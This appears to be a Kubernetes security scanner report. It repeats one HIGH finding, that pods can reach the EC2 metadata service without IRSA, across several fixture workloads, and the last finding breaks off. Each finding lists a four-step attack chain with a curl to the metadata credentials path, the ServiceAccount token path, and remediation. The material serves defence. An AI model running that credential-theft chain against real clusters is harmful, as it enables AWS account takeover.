Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-probes

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-probes"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-probes"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-probes",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-probes"
}
HIGH ServiceAccount/csr-fixtures/sa-csr-mint Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint Resource: Deployment/csr-fixtures/csr-mint-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"csr-fixtures/csr-mint-app"
reason
"no-egress-policy"
sa
"csr-fixtures/sa-csr-mint"
workload
"Deployment/csr-fixtures/csr-mint-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "csr-fixtures/csr-mint-app",
  "reason": "no-egress-policy",
  "sa": "csr-fixtures/sa-csr-mint",
  "workload": "Deployment/csr-fixtures/csr-mint-app"
}
HIGH ServiceAccount/csr-fixtures/sa-csr-sign Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-sign Resource: Deployment/csr-fixtures/csr-sign-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"csr-fixtures/csr-sign-app"
reason
"no-egress-policy"
sa
"csr-fixtures/sa-csr-sign"
workload
"Deployment/csr-fixtures/csr-sign-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "csr-fixtures/csr-sign-app",
  "reason": "no-egress-policy",
  "sa": "csr-fixtures/sa-csr-sign",
  "workload": "Deployment/csr-fixtures/csr-sign-app"
}
HIGH ServiceAccount/flat-network/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default Resource: Deployment/flat-network/api

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
offenderCIDR
"0.0.0.0/0"
pod
"flat-network/api"
reason
"explicit-allow"
sa
"flat-network/default"
workload
"Deployment/flat-network/api"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "0.0.0.0/0",
  "pod": "flat-network/api",
  "reason": "explicit-allow",
  "sa": "flat-network/default",
  "workload": "Deployment/flat-network/api"
}
HIGH ServiceAccount/flat-network/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default Resource: Deployment/flat-network/unmatched

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"flat-network/unmatched"
reason
"no-egress-policy"
sa
"flat-network/default"
workload
"Deployment/flat-network/unmatched"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "flat-network/unmatched",
  "reason": "no-egress-policy",
  "sa": "flat-network/default",
  "workload": "Deployment/flat-network/unmatched"
}
HIGH ServiceAccount/foothold-fixtures/foothold-quiet Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-quiet Resource: Deployment/foothold-fixtures/foothold-quiet-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"foothold-fixtures/foothold-quiet-app"
reason
"no-egress-policy"
sa
"foothold-fixtures/foothold-quiet"
workload
"Deployment/foothold-fixtures/foothold-quiet-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "foothold-fixtures/foothold-quiet-app",
  "reason": "no-egress-policy",
  "sa": "foothold-fixtures/foothold-quiet",
  "workload": "Deployment/foothold-fixtures/foothold-quiet-app"
}
HIGH ServiceAccount/gw-workloads/gw-web-sa Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/gw-workloads/gw-web-sa Resource: Deployment/gw-workloads/gw-web

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"gw-workloads/gw-web"
reason
"no-egress-policy"
sa
"gw-workloads/gw-web-sa"
workload
"Deployment/gw-workloads/gw-web"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "gw-workloads/gw-web",
  "reason": "no-egress-policy",
  "sa": "gw-workloads/gw-web-sa",
  "workload": "Deployment/gw-workloads/gw-web"
}
HIGH ServiceAccount/hookbackend-fixtures/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/default Resource: Deployment/hookbackend-fixtures/hookbackend-injector

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
